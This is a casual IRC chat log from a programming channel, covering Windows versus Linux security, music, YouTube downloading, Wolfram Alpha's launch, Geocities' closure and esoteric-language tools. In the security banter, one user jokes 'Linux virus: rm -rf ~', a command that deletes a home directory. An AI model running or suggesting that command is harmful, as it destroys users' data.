ehird in loling 00:29:42 * AnMaster joins ehird with some roflins 00:29:47 When I'm not, which is most of the time, I'll use Windows 00:29:48 BURN THE WITCH! 00:29:50 rofling* 00:29:50 * ehird stabs Sgeo[Pidgin] 00:29:56 Yes, burn. 00:29:58 With stabs. 00:30:02 Why can't I choose when to care about security? 00:30:02 ehird, but she is a duck? 00:30:11 She is a duck witch Sgeo pidgeon. 00:30:15 * ehird stabs Sgeo[Pidgin] some more 00:30:29 Sgeo[Pidgin]: Because if you *really* want to run Windows, the sanest way to do it is in a virtual machine. 00:30:30 ehird, err, she also floats on the water? 00:30:33 Most of the time, for me, Games > Security. When Security > Games, I'll boot into Linux. Not that difficult 00:30:51 pikhq: can I transfer my current system into a VM easily? 00:30:57 Also, I don't trust VM 3d 00:30:59 Not-wanting-to-kill-myself > games :P 00:31:10 Not-wanting-to-stab-computer > games. 00:31:23 So far, no viruses come with ext3 drivers, right? 00:31:28 Sgeo[Pidgin]: Possible, but not likely. 00:31:49 not-wanting-to-run-Distributed.Storm > games 00:31:51 :P 00:31:59 Also, it wouldn't be hard for a virus to have ext3 support. 00:32:09 First, the source code for userspace ext3 handling is out there. 00:32:17 Second, there is an ext2 driver for Windows. 00:32:24 Linux virus: rm -rf ~ 00:32:36 ehird, unless there is a kernel bug it can exploit 00:32:41 OS X virus, too. 00:32:43 It would be endlessly amusing if the first implementation of ext4 on Windows was part of a virus :P 00:32:46 like the vmsplice() one 00:32:46 It's a Unix virus! 00:32:53 Portable. 00:32:55 (That infects Linux by means of infecting Windows) 00:32:57 * pikhq nodes 00:33:03 GregorR, haha 00:33:04 GregorR-L: That would be hilarious. 00:33:14 open source viruses would be coo 00:33:14 l 00:33:15 I'd like them 00:33:23 i'd be down with viruses if they were FOSS 00:33:26 X-D 00:33:32 Using the Windows installer to install Linux doesn't make things worse than a regular multi-partition setup, does it? 00:33:39 Sgeo[Pidgin]: It does. 00:33:44 ehird: how so? 00:33:46 Wubi puts your linux partition as an ntfs file. 00:33:53 It's le awful, and does no partitioning. 00:33:55 And is le slow. 00:33:59 And is le dependent on le windows. 00:34:04 But I am le tired. 00:34:05 I mean securitywise 00:34:08 Didn't realise that it was using *that* hack. 00:34:11 GregorR-L: FIRE ZE MISSILES!!!! 00:34:20 *whew*, glad somebody got the reference :P 00:34:37 I guess malware could just delete my Linux system without it even being designed to attack Linux in any way 00:34:44 Not as plain screwy as umsdosfs, though. 00:34:46 Sgeo[Pidgin]: securitywise, 00:34:51 it'll be infected by NTFS-infecting viruses 00:34:53 hm 00:35:02 Sgeo[Pidgin]: Well, if it can get access from Windows to the Linux disk, then it could install something which will run as root. 00:35:03 Emulating UNIX filesystem features on FAT! 00:35:08 ehird: it's not a single file that uses ext3 internally? 00:35:15 Sgeo[Pidgin]: yes, but viruses will fuck with it 00:35:47 They might well do something weird like insert their code into it. 00:35:53 Yeah, and break Linux. 00:35:56 Not infect, but break. 00:35:58 " Genre: Romantic Classical" <-- how the heck did they class this morden game music in wesnoth as that. (mplayer reported that from the metadata in the file) 00:35:59 Goddamn, just partition. 00:36:00 It's not hard. 00:36:15 Especially with Ubuntu. 00:36:16 If it breaks, I'll just use a LiveCD 00:36:16 AnMaster: The metadata is annoyingly limited. 00:36:33 GregorR-L, no way these are time typical instruments from the romantic period. 00:36:36 It literally has "Install alongside Windows? [yes] [no]"... 00:36:45 Yeah, exactly. 00:36:58 GregorR-L: Winamp extended ID3 has Primus as a genre. 00:37:05 And Christian Gangsta Rap, iirc. 00:37:05 GregorR-L: I thought Ogg metadata used arbitrary strings? 00:37:10 It's limited because Winamp developers are dicks. 00:37:11 ;) 00:37:15 Don't feel like walking across the house to get a CD to burn. I do feel like making lame excuses for everything 00:37:17 GregorR, and no way the music is that either 00:37:20 AnMaster: Hard rock played on a string quartet is not classical :P 00:37:35 (Which is to say, the instrument selection is a bad way to determine genre) 00:37:38 GregorR, agreed. But what has that got to do with it 00:37:44 true 00:37:52 Ok, back to Windows time 00:38:04 actually, what would hard rock on a string quartet sound like 00:38:05 -!- Sgeo[Pidgin] has quit ("Leaving."). 00:38:06 Hard rock on a string quartet is certainly *awesome*... 00:38:08 AnMaster: Awesome. 00:38:08 you got me interested. 00:38:09 ... 00:38:09 heh 00:38:10 Just not classical. 00:38:13 any example? 00:38:20 youtube or whatever 00:38:20 AnMaster: Post-rock would be close, but it's less... hard. 00:38:22 Don't have Youtube links handy, sadly. 00:38:36 But post-rock has things like electric guitars being played with violin... pokers, and tons of strings, and whatnot. 00:38:51 ehird, just some good representative example that I can listen for 10 seconds to and then rant about for a minute or two. 00:38:53 :P 00:39:44 I don't know about hard-rock-quartet... http://www.youtube.com/watch?v=Rsf2LoLk3SA&fmt=18 is some nice post-rock, though. 00:39:50 hm what genre is http://svn.gna.org/viewcvs/*checkout*/wesnoth/trunk/data/core/music/casualties_of_war.ogg?rev=35621 actually 00:39:52 But also, uh, 10 minutes. 00:39:53 I don't know 00:39:54 So you'd have to skip around a lot. 00:40:07 6:43 is quite representative. 00:40:11 "wesnoth music" 00:40:40 ehird, there is fmt=22 nowdays too iirc 00:40:50 That video does not have an HD version. 00:40:54 right 00:41:08 ehird, which is the best format for video and sound quality 00:41:13 22 00:41:13 ranking 00:41:19 but it also takes 5 years to load, and isn't real HD 00:41:22 rank the top three 00:41:24 wait 00:41:26 for not youtube? 00:41:33 uh what? 00:41:36 yes for youtube 00:41:38 oh. 00:41:39 -!- Sgeo has joined. 00:41:40 There's only 3. 00:41:42 22, 18, 17? 00:41:43 or what 00:41:50 22 = HD, 18 = HQ, dunno = regular. 00:42:03 http://en.wikipedia.org/wiki/YouTube#Format_and_quality_comparison_table 00:42:05 that is more 00:42:06 than 3 00:42:12 8? 00:42:18 Well, I don't know. 00:42:21 34 6 35 18 22 13 17 00:42:23 are all defined 00:42:24 it seems 00:42:32 What's the difference between HD and HQ? 00:42:41 HQ is just a bit higher bitrate 00:42:46 HD is a lot higher resolution 00:42:50 and all-around much better quality 00:42:53 i.e. it is actually watchable 00:43:20 ehird, any sudden volume changes in that? 00:43:28 The GY!BE one? 00:43:32 I don't know about hard-rock-quartet... http://www.youtube.com/watch?v=Rsf2LoLk3SA&fmt=18 is some nice post-rock, though. <-- that one 00:43:46 No. Listen to the first few seconds, go to 3 minutes in, 6:30 ... then 7:45, should give a representative sample of the entire track. 00:43:51 and you said it had string quartet? 00:43:54 Youtube's HD is 720p. 00:43:55 Nope. 00:43:58 "I don't know about hard-rock-quartet" 00:44:00 Yes, really. 00:44:01 AnMaster: it has strings, though. 00:44:29 (last I checked, 720p is real HD) 00:44:40 pikhq: hmm, kay 00:45:02 ehird, that isn't very rock like. At least the classical type of rock. 00:45:05 Anything greater than 480 is HD :P 00:45:07 yeah post-rock 00:45:19 Indeed. 00:45:31 Post-rock is more classical music with a beat and some modern instruments 00:45:45 ehird, not much beat in that one 00:46:01 Eh, it has drums in a rhythmical pattern. 00:46:04 anything more than PAL is HD ! 00:46:11 Anything more than 1x1 is HD. 00:46:16 ehird, not at 0 and 3 minutes 00:46:20 True. 00:46:28 I haven't got to the other bits yet 00:46:28 Should I try actually playing Wesnoth? 00:46:31 Post rock does have a lot of very long intros/outros. 00:46:45 Seeing as almost all of it is about 10 minutes long. 00:46:58 Sgeo, if you like turned based strategy games set in a fantasy environment yes. 00:47:05 ehird, ok it has beat now 00:47:09 not too bad actually 00:47:12 AnMaster, never really tried one before 00:47:23 ehird, I didn't like the start at all. Not sure what the instrument was there 00:47:37 I read a comic that's about something that looks like a turn based strategy game set in a fantasy environment 00:47:45 ehird, why is there just a still picture of some odd orange dots for the video part 00:48:05 AnMaster: It is the cover of the EP it's from, Slow Riot for New Zerø Kanada. (Yes, with the ø.) It's Hebrew. 00:48:08 "tohu va vohu" (תֹהוּ וָבֹהוּ) 00:48:15 It means "nothingness", "void", etc. 00:48:18 It's from the Bible. 00:48:25 mhm 00:49:04 Well, it's not much of an EP more as a gigantic single; it's just two tracks of 10/17 minutes respectively and they flow into each other. 00:49:19 EP? LP? 00:49:33 * AnMaster has no idea about the difference 00:49:40 EP is sub-30 minutes, pretty much. 00:49:49 and what does the E stand for? 00:49:55 Extended Play vs Long Play. 00:49:57 (what does the L in LP stand for btw...) 00:50:17 Godspeed You! Black Emperor's actual albums are quite the long; the LP version of Yanqui U.X.O. is 83:58 long. 00:50:19 ehird, at 08:06 it is horrible btw 00:50:22 it was good before 00:50:38 Did it become too musical? ;-) 00:50:39 well at 07:45 it is bad already 00:51:11 ehird, 1) too much "guitar in pain" 00:51:28 2) mostly noise + hammering on the trums? 00:51:41 It doesn't sound like noise to me. 00:51:49 But then, I've listened to actual noise music. 00:51:57 ehird, what about the guitar in pain bit 00:52:09 It doesn't sound like a guitar to me. 00:52:17 overdrive or whatever the technical term is 00:52:24 No, that's not overdrive. 00:52:29 Overdrive is the distorted guitar sound. 00:52:32 ehird, what is that sound then 00:52:46 I don't know; it just sounds like a violin-y type instrument to me. Bow-y sort of thin. 00:52:46 g 00:52:50 ehird, heard again at 09:21 00:53:33 whatever it is, it isn't violin as I'm used to. But then maybe a violin played non-classically is like that. 00:54:04 ehird, it isn't heard at 09:12 00:54:12 (but at 09:21 yes) 00:54:23 It seems my local copy of Moya is corrupted. 00:54:26 starts at 09:18 to be specific 00:54:30 It's been replaced with BBF3... 00:54:33 So I can't seek there, sry 00:54:39 ehird, of what? and what? 00:54:46 BBF3 is the second track on the EP. 00:54:49 And Moya is the name of that track. 00:54:50 ehird, just check on youtube? 00:54:56 YouTube's seeking is broken for me 00:55:04 ehird, youtube-dl it? 00:55:08 link 00:55:26 sec 00:55:36 Homepage: http://bitbucket.org/rg3/youtube-dl/ 00:55:42 $ youtube-dl -f 18 -g http://www.youtube.com/watch?v=Rsf2LoLk3SA 00:55:42 http://www.youtube.com/get_video?video_id=Rsf2LoLk3SA&t=vjVQa1PpcFP3IBND5TL6Ui4VDVPVt1LViKkQEiNtjPc=&fmt=18 00:55:46 not sure if they code that for ip or such 00:55:54 try to wget that one. It might work 00:55:56 remember to quote it 00:57:35 * ehird clix. 00:57:38 Meeeeeh 00:57:52 http://www.marvell.com/products/embedded_processors/developer/kirkwood/sheevaplug.jsp Oh my god cool 00:57:57 It's a computer that you just plug in 00:57:59 It's a pluguter 00:58:06 Smallest thing evar 00:58:58 ehird, it didn't work? 00:59:10 I don't have a thing to play flvs 00:59:16 ehird, err it should result in an *.mp4 00:59:22 Oh. 00:59:34 2009-05-16 00:59:31 ERROR 403: Forbidden. 00:59:35 $ youtube-dl -f 18 http://www.youtube.com/watch?v=Rsf2LoLk3SA 00:59:38 [youtube] Rsf2LoLk3SA: URL: http://www.youtube.com/get_video?video_id=Rsf2LoLk3SA&t=vjVQa1PpcFMVFjf32EvGGWmN31bE9d4hzsYrdrQ_0ds=&fmt=18 00:59:38 [download] Destination: Rsf2LoLk3SA.mp4 00:59:51 ehird fmt=18 == mp4 00:59:56 It's 403 01:00:05 ehird, then you need to generate the url locally 01:00:13 they code it by ip iirc 01:00:13 How? 01:00:18 Bleah 01:00:19 ehird, http://bitbucket.org/rg3/youtube-dl/ 01:00:24 Link to an actual file? 01:00:35 ehird, it is in python or ruby iirc 01:00:51 Bitbucket, the github ripoff using hg/python so probably Python 01:00:57 $ file /usr/bin/youtube-dl 01:00:57 /usr/bin/youtube-dl: a python script text executable 01:01:15 http://bitbucket.org/rg3/youtube-dl/raw/2009.05.13/youtube-dl 01:01:18 seems like the last version 01:01:26 ehird, remember to pass -f 18 for format 18 01:01:35 and how is it a github ripoff 01:01:41 github is a launchpad rippof! 01:01:43 off* 01:01:47 no it's not 01:01:51 which is a sourceforge ripoff 01:01:51 :P 01:01:59 bitbucket's UI is pretty much screen-for-screen identical to github's 01:02:26 ehird, looks like same basic idea that sf.net uses 01:02:37 Basic idea, yes. 01:02:41 Overview Downloads Source Changesets Wiki Issues 01:02:42 so 01:02:46 but you can match any github page to any launchpad one, pretty much 01:02:57 and the UI, layout, design and functionality are almost entirely identiacl 01:02:59 *identical 01:03:17 sfnet: Overview, Downloads, Source (changes are found under that), wiki (they added wiki a year ago or so), bug tracker 01:03:18 wait 01:03:20 it is the same 01:03:21 basically 01:03:36 that's one minor list. 01:03:45 ehird, just took an example 01:04:23 ehird, but ok, it is very close to github 01:04:28 wouldn't call it ripoff though 01:04:42 Well, I've used github a lot so my senses may be more attuned :P 01:04:56 ehird, and you might be bisaed 01:05:01 biased* 01:05:05 Not really; github has a ton of flaws. 01:05:22 use a more neutral word than ripoff then 01:05:30 Flower. 01:05:34 um 01:05:39 with the same meaning 01:05:42 Flower is a very neutral word. 01:05:47 What more could you want? 01:05:52 "based freely on" 01:06:01 Flagrantly copied 01:06:19 that got a negative tone to it as well 01:06:39 "extended and corrected" 01:06:46 (that is not neutral either 01:06:47 ) 01:06:52 Moose 01:06:52 * Sgeo vaguely wonders if there will ever be a game based on Erfworld 01:06:56 just going out as far as you are, in the other direction 01:07:03 wth is Erfworld 01:07:25 AnMaster, comic about a fantasy turn-based world 01:07:25 http://www.erfworld.com/ 01:07:36 huh 01:08:08 en.wikipedia.org/wiki/Erfworld 01:08:18 AnMaster: whre's the screech 01:08:35 "Erfworld: The Battle for Gobwin Knob is a story-driven fantasy/comedy webcomic about a master strategy gamer stuck in a wargame. " 01:08:43 AnMaster: whre's the screech <-- ? 01:08:50 that you got me to dl this vid for 01:08:59 ehird, sec 01:09:13 ehird, it isn't heard at 09:12 01:09:15 starts at 09:18 to be specific 01:09:18 so you can compare 01:09:31 09:17 possibly 01:09:49 I think that's just a bunch of echoes, maybe some fallout from the guitar. 01:09:57 The drums are a likely culprit too. 01:09:57 ehird, fallout :D 01:10:07 ehird, yes the drums start more too 01:10:34 fallout. Rock fallout protection shelter. 01:10:35 :D 01:10:40 that is a good idea. 01:10:44 heh 01:11:07 I have a high tolerance for noisy stuff... I guess i'm a lo-fi sort of person. 01:12:33 ehird, hah 01:12:46 ehird, Yet you want a silent computer 01:12:49 you are strange 01:13:01 I have entire albums that spend their whole lives at 100% volume and distortion heaven... 01:13:04 AnMaster: Yeah, go figure. 01:13:10 Computer noise isn't very pleasing P 01:13:11 :P 01:13:35 ehird, to me the noise of a even slightly overdriven guitar is as bad as that of a computer 01:13:43 You just have bad taste :-) 01:13:45 acoustic guitar I like. 01:13:48 pedestrian → 01:13:57 and possibly electric if they skip the noise stuff. 01:14:04 ehird, are you leaving? 01:14:06 huh? 01:19:52 -!- FireFly has quit ("Later"). 01:58:32 I quite like distorted guitar. 01:58:36 night 01:58:46 Now what really irks me is stuff that's at 100% volume for the whole album. 01:58:54 That just sounds crappy. 02:32:08 -!- olsner has joined. 03:31:52 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 03:38:31 -!- inurinternet has quit (Connection timed out). 03:44:55 -!- bsmntbombdood has joined. 03:46:12 -!- pikhq has joined. 03:58:03 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 04:14:57 -!- pikhq has joined. 05:18:06 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 05:23:39 -!- pikhq has joined. 06:51:02 -!- GregorR-L has quit (Read error: 110 (Connection timed out)). 06:56:47 -!- oerjan has joined. 07:12:23 !showinterp slashes 07:12:30 !show slashes 07:12:30 perl (sending via DCC) 07:12:34 Wolfram Alpha doesn't know about Brainfuck! 07:13:23 !delinterp slashes 07:13:23 Interpreter slashes deleted. 07:13:43 !addinterp slashes http://oerjan.nvg.org/esoteric/slashes/slashes.pl 07:13:43 Interpreter http___oerjan_nvg_org_esoteric_slashes_slashes_pl does not exist! 07:13:57 huh. 07:15:53 !addinterp slashes http://oerjan.nvg.org/esoteric/slashes/slashes.pl 07:15:54 Interpreter http___oerjan_nvg_org_esoteric_slashes_slashes_pl does not exist! 07:16:11 ok it's not the nvg web server's fault 07:16:21 GregorR: ^ web problem 07:16:45 ah 07:16:50 no, wait 07:16:54 GregorR: d'oh! 07:17:02 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes/slashes.pl 07:17:06 Interpreter slashes installed. 07:17:28 !slashes http://oerjan.nvg.org/esoteric/slashes/crashtest.sss 07:17:30 Complex regular subexpression recursion limit (32766) exceeded at /tmp/input.636 line 16, <> line 516. 07:17:45 bah :( 07:18:01 that didn't help either here or there 07:18:31 So it was less a web problem and more a PEBKAC problem? (No offense) 07:18:50 obviously 07:19:29 * oerjan always finds himself interpreting PEBKAC as being in the russian alphabet 07:19:59 so does "revkas" mean anything in russian, i wonder 07:29:23 -!- GregorR-L has joined. 07:29:33 oerjan: nothing 07:29:46 mtve: something 07:29:56 also, what? 07:30:23 so does "revkas" mean anything in russian, i wonder 07:31:20 ah :) 07:31:55 i got confused by GregorR-L entering, must have cleared my mental irc cache :D 07:32:08 np :) 07:37:48 rm -rf oerjan/.caches/mind/irc/freenode/\#esoteric 07:38:28 what does that mean? also, who are you? 07:38:28 that's a slow cache if it's on a disk 07:39:21 "Cache" does not mean "speed booster" :P 07:39:29 free(hash_lookup_str(oerjan_irc_cache, "#esoteric")) 07:39:48 -!- impomatic has joined. 07:41:00 "Many mistaken the refrain for saying "Do the lucky lady," "Noodle knock the Navy," "Do it like a lady," or "Do the Macarena,"" 07:41:09 I laughed at macarena 07:41:10 Lets not sink to that level of insults. It is like a sub-form of Godwin's law. 07:41:15 well, so is your face. 07:43:27 Haaaaaahaha 07:43:53 -!- inurinternet has joined. 07:44:55 ugh. what kind of sad place is Digg's programming section? 07:45:09 The very sad kind. 07:45:23 http://oneoverzero.comicgenesis.com/faq.html 07:45:25 eewwwerwergh. *feels sick reading* 07:45:25 Gracenotes: should i be very happy that i have no idea? :D 07:45:27 Gracenotes, why? 07:45:58 ah, 1/0, my first webcomic 07:46:40 read the FAQ 07:46:53 it's rather low volume, and the volume it has is hardly interesting? Largely web development stuff and plebeian complaints about software 07:47:04 I started reading the FAQ, then got bored because they were all really bad jokes. 07:47:11 and lots of spam 07:47:25 web development meaning PHP, for the most part 07:48:13 even /prog/ is more interesting 07:48:42 Damn those plebes. 07:49:01 hush! the end users might hear you 07:49:19 ＞＿＞ 07:49:22 ＜＿＜ 07:50:00 >_> 07:50:10 >.> <(My eyes are ASCII) 07:50:12 >_> 07:50:32 (>^.^)> 07:52:30 but, I mean, as opposed to complaints about software from a design perspective, just complaining. 07:53:12 -!- impomatic has left (?). 07:54:08 G'night all 07:57:56 -!- M0ny has joined. 07:59:26 hey 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:15:09 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 08:30:04 If anybody has any interest in MUSHes, I just threw one up on codu.org for giggles. Type '!mush' or telnet/mushclient to codu.org:6250 08:30:46 -!- oerjan has quit ("leaving"). 08:49:08 -!- inurinternet has quit (Read error: 110 (Connection timed out)). 09:36:02 -!- BeholdMyGlory has joined. 09:43:31 -!- tombom has joined. 09:44:16 -!- ais523 has joined. 09:46:29 -!- KingOfKarlsruhe has joined. 09:58:53 -!- impomatic has joined. 09:59:31 Has anyone played Pascal Robots? Most of the websites about it seem to have vanished. 10:01:40 impomatic: I'm afraid not 10:04:53 Hi ais523. I don't expect many people have, considering how little there is on the net. 10:05:44 I must get that BF Joust for EgoBot finished off 10:05:55 you keep reminding me of BF Joust just by existing 10:05:59 which is a good thing, I suppose 10:06:21 I'm just mirroring the p-robots stuff from Geocities at the moment. 10:07:05 ah, Geocities 10:07:06 Are there any important Esoteric sites on Geocities. It'd be handy to get them mirrored before Geocities closes. 10:07:09 so much useful stuff was there 10:07:15 and the BANCStar site's probably the most important 10:07:28 it received a cease-and-desist once, though 10:07:46 Oh? Is there any info about that anywhere? 10:08:13 Are you making a BF Joust King of the Hill? 10:08:48 there's an interp 10:09:01 which I can link you to if you like 10:09:20 Yes please :-) 10:09:49 -!- BeholdMyGlory has quit (Remote closed the connection). 10:10:46 let me dig up the link 10:11:58 http://pastebin.ca/1414581 10:16:45 I've copy/pasted it to experiment with later :-) I assume it'll work on any version of Perl 10:17:05 it requires 5.10 10:17:09 as you can see near the top 10:17:19 because I find it hard to un-learn new features 10:17:25 some people are on 5.8 still 10:18:45 Hmmm... mine is 5.8.7, will upgrade later ;-) 10:19:02 it shouldn't be too hard to backport it 10:19:09 you'd just have to rewrite the given blocks explicitly 10:19:56 Easier for me to upgrade. I've got a copy of Learning Perl, but haven't read it yet! 10:20:57 -!- oerjan has joined. 10:20:59 There's a few programs I want to port to Perl before I publish them, so I really ought to start reading it. 10:24:27 that program allows a couple of abbreviations that I often find wanting to use in BF Joust programs 10:24:40 (+-)*5 is equivalent to +-+-+-+-+- 10:24:46 so it accepts run-length encoding 10:25:14 you can also create nested patterns like this: (>{+-}<)%5 is equivalent to >>>>>+-<<<<< 10:54:13 sheesh, i insert debug statements into my bct program and suddenly it works perfectly (but dog slow, naturally) 10:54:32 (well not the whole program, just what i have so far) 10:54:42 -!- Judofyr has joined. 10:55:12 hypothesis: something probably happens at the boundary between commands where i insert debugging 10:56:54 * oerjan rechecks that it fails without the debug statements 11:00:19 -!- olsner has quit ("Leaving"). 11:02:02 -!- oerjan has quit ("Bus"). 11:06:08 hmm... Wolfram Alpha's up now, and it seems partly slashdotted 11:06:13 as in, sometimes it works and sometimes it doesn't 11:06:16 it may in fact have been Cuiled 11:09:03 unfortunately, it doesn't seem to know what the world's shortest mountain is 11:09:09 it interprets the query correctly but gets no results 11:10:31 I suppose it depends how you define a mountain. Over 1000 ft? 11:11:10 I know my definition is different to my girlfriend's definition. Also here definition of climbing is different! 11:11:30 well, I was hoping to use the question to probe Alpha's definition of a mountain 11:11:39 I assume it must contain a finite number of mountains in its database 11:11:45 and I was wondering what the shortest one was 11:16:24 hmm... "multiply 6 by 9 in base 13" tells me that it interpreted the input as a request to multiply 6 by 9 in base 13 11:16:27 then it doesn't tell me the answer 11:16:31 which is slightly weird 11:17:40 if I download the answer as PDF, in addition to the input interpretation, it gives me the result: "CalculateBaseForm(54Times, 13)" 11:17:56 somehow I think Wolfram Alpha has trouble using Mathematica 11:45:31 -!- FireFly has joined. 11:52:34 -!- KingOfKarlsruhe has quit (Remote closed the connection). 12:19:21 -!- BeholdMyGlory has joined. 12:23:54 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:40:13 -!- ais523 has quit (Remote closed the connection). 12:49:41 -!- psygnisfive has joined. 12:53:24 -!- psygnisfive has quit (Remote closed the connection). 13:25:30 -!- psygnisfive has joined. 13:45:30 -!- tombom has joined. 14:13:02 It also does not want to tell me the amount of mountains in the world. That out-of-capacity message is funny, though. "I'm sorry Dave, I'm afraid I can't do that... Wolfram|Alpha has temporarily exceeded its current maximum test load. See the live video feed of the Control Center >>" 14:22:06 Is it wierd that I have a collection of executable compressors? 14:22:33 -!- oerjan has joined. 14:24:57 impomatic: all squeezed together in a small place, i assume 14:27:23 * oerjan has realized he can cut off one character from his /// token encoding, by discouraging empty replacements 14:27:43 -!- ais523 has joined. 14:30:58 Does anyone have experience of fixing "Runtime Error 200" on old executables compiled with Turbo Pascal? 14:31:21 what's the corresponding error message? 14:31:32 I've used turbo pascal before 14:31:38 but don't have the error message database memorise 14:31:40 *memorised 14:31:46 I've got 6 exes I want to fix. TPpatch fixed 2, but not the other 4. I also found a TSR that's supposed to fix it, but it doesn't either. 14:31:59 do you have the source? 14:32:45 That's all I get, Runtime Error 200 and an address. It means there's numeric overflow in a timing routine in the setup code, due to running on a computer thats too fast. 14:32:50 No, haven't got the source. 14:33:17 http://en.wikipedia.org/wiki/Runtime_error_200 14:33:25 It affects most programs compiled with TP which use the screen library. 14:34:32 I've tried 2 of these programs: http://www.brain.uni-freiburg.de/~klaus/pascal/runerr200/download.html 14:34:44 They fixed 2 of my 6 programs. 14:34:57 Well, try more. (The tppatch thing is the only one I think I've used myself, and it worked in that case.) 14:35:15 I also tried using CPU Killer to slow down my computer, but it made me crash :-( 14:35:43 minimize x squared minus (x plus 3) min {x^2 Subtract[x+3]|-2<=x<=2} ~~ minimum | {4. Subtract[1.],4. Subtract[5.],Part[]^2 Subtract[Part[]+3.]} at x~~{}[[1]] 14:37:03 and in Mathematica, {}[[1]] refers to the first element of a zero-element list 14:37:19 Mathematica fails the same way as Thutu with respect to such things 14:37:44 Though if you write "minimize x^2-(x+3)" you get a rather more reasonable answer. 14:37:52 yes 14:37:55 What's that "x^2 Subtract[x+3]" mean anyway? 14:38:16 fizzie: x to the power two, times the subtraction of x+3 14:39:27 What is "the subtraction of x+3" then? 14:39:29 Subtract::argr: Subtract called with 1 argument; 2 arguments are expected. 14:40:55 Nice function help text, though. 14:40:56 In[1]:= ?Subtract 14:40:56 x - y is equivalent to x + (-1 * y). 14:41:25 fizzie: Mathematica works the same way as Thutu behind the scenes 14:41:33 Heh, thutu 14:41:48 so although the subtraction of one number makes no sense, Mathematica just leaves it literally in the answer 14:41:53 and pattern-matches as much as it can elsewhere 14:42:13 Oh, yes. It's a strange way of parsing the English part, though. 14:43:50 well, especially as it was parsed into meaningless mathematica 14:44:59 Heh. "five minus six" is 5-6, "five minus six plus one" somehow does 5-(6+1) which is a curious precedence, "five minus (six plus one)" is '5 Subtract[6+1]' and finally "five minus the sum of six and one" has input interpretation: "5 - ∑6⋀1" and no real result. 14:45:13 I agree that the precedence is curious 14:46:00 hmm... strange that Alpha don't have an opensearch tag yet 14:46:06 so it can't be added to the firefox search box 14:46:47 hmm... "6 times 9 in base 13" is working now 14:46:50 and it was broken this morning 14:46:55 I think Alpha must have been Cuiled 14:48:53 None of those patches work on these 4 files :-( 14:49:10 Running in dosbox (if it's a possibility) tends to slow things down, too. 14:50:21 I wanted to fix them and put them online. 14:50:40 -!- tombom has quit (Read error: 60 (Operation timed out)). 15:16:35 -!- oerjan has quit ("leaving"). 15:21:05 -!- coppro has joined. 15:24:53 -!- coppro has quit (Remote closed the connection). 15:28:12 -!- coppro has joined. 15:41:39 hmm... it seems that the world's fastest sort ever (for a competition) was done using Java 15:41:43 that just feels wrong 15:56:06 -!- oerjan has joined. 16:00:29 Hmmm... was it distributed? 16:01:15 yes 16:01:22 and pretty hefty hardware, obviously 16:01:31 the requirement was just to sort a petabyte of data 16:01:47 key-value pairs, with 10-byte keys and 90-byte values 16:01:50 and sorting into key order 16:04:51 * oerjan is surprised to learn that the techtinkering link on the wiki is not really spam 16:05:07 the edit looked so awfully generic it _could_ have been made by a spambot 16:05:11 I probably added that ;-) 16:05:18 ah 16:05:40 i was so paranoid i opened the link in lynx, just in case :D 16:05:51 I suppose I ought to put an edit summary 16:05:52 it was added by someone with the username "techtinkering" 16:06:06 anyway, a meaningful edit summary certainly tones our spam radar down a lot 16:06:08 as does being logged in 16:06:24 There's normally some interesting stuff on Lawrence's blog. 16:06:27 ais523: the username only reinforced my suspicion 16:06:43 Oh okay. I think I've added one of his links too. 16:06:51 on the other hand, having a username means they got past the CAPTCHA 16:07:08 which reduces the chance it's spam 16:07:10 well true 16:07:19 even though that's a trivial CAPTCHA to script around, most people couldn't be bothered 16:07:32 * oerjan probably registered before the CAPTCHA, so has forgotten all about it 16:07:51 the CAPTCHA hits new user registrations, and anons who try to add links 16:07:59 it keeps out the majority of confused spambots 16:08:17 although spam not involving links gets through 16:08:33 ah yes i recall that brouhaha about those two insane researchers trying to save data on wikis 16:08:33 09:07 impomatic: Are there any important Esoteric sites on Geocities. It'd be handy to get them mirrored before Geocities closes. 16:08:34 calm down 16:08:36 it's not disappearing 16:08:39 oerjan: yap 16:08:59 they tried to chastise us for having a lousy CAPTCHA 16:08:59 impomatic: geocities is just being read-onlied 16:09:05 oerjan: yeah, that was aumusing 16:09:12 they said sheesh we can break trivial captchas in like 2 seconds 16:09:13 lameos 16:09:19 wanted to punch 'em for that 16:09:29 00:58 pikhq: Now what really irks me is stuff that's at 100% volume for the whole album. 16:09:29 00:58 pikhq: That just sounds crappy. 16:09:30 it's more horror vacui than bad mixing in this case 16:10:40 "You can continue to enjoy your web site and GeoCities services until later this year. -- We'll provide more details about closing GeoCities and how to save your site data this summer, and we will update the help center with more details at that time." 16:10:47 That doesn't necessary sound like just being read-onlied. 16:11:00 I'll be upset if nobody mirrors the BancSTAR stuff 16:11:01 Though I guess they might be communicating elsewhere than just their faq page. 16:11:22 perhaps they only stopped new registrations? 16:11:28 fizzie: no, it is read only 16:11:29 That's what they already did. 16:11:32 I know this for a complete fact 16:11:32 ehird: from what I've read it looks like it's all disappearing. 16:11:36 because I read the original announcement 16:11:43 impomatic: if that is true it is a new development 16:11:54 also, they'll never get away with it. 16:12:03 hmm 16:12:12 They've closed it for new users, and all I've seen about the future is "things will work until later this year", with no specifices. 16:12:12 http://help.yahoo.com/l/us/yahoo/geocities/geocities-05.html 16:12:18 that's new 16:12:20 I've prepared mirrors for all of the Geocities Corewar sites. Now I'm working on the sites for some other programming games. 16:12:23 it used to be just: your site will stay 16:12:28 ehird: minimize x squared minus (x plus 3) min {x^2 Subtract[x+3]|-2<=x<=2} ~~ minimum | {4. Subtract[1.],4. Subtract[5.],Part[]^2 Subtract[Part[]+3.]} at x~~{}[[1]] 16:12:37 ais523: lol wat 16:12:41 impomatic: Just contact the archive.org guys. They could mirror all of geocities ;-) 16:12:48 ais523: so, wolfram alpha's out now is it? 16:12:53 ehird: yes, to both 16:12:57 as in, wolfram alpha's out 16:13:04 * ehird asks it "how is babby formed" 16:13:05 and archive.org are scraping geocities as fast as they can 16:13:13 nice 16:13:15 and that's the wrong sort of question 16:13:16 ehird: :D 16:13:24 ais523: i don't care, it should know it 16:13:26 it's on the internet 16:13:31 also, how did you know about archive.org 16:13:32 ? 16:13:33 it doesn't use the internet, though 16:13:37 and from Slashdot 16:13:43 ofc, that could be unreliable 16:13:46 wolfram alpha's just sitting there loading 16:13:49 KIND OF LIKE MATHEMATICA ALWAYS 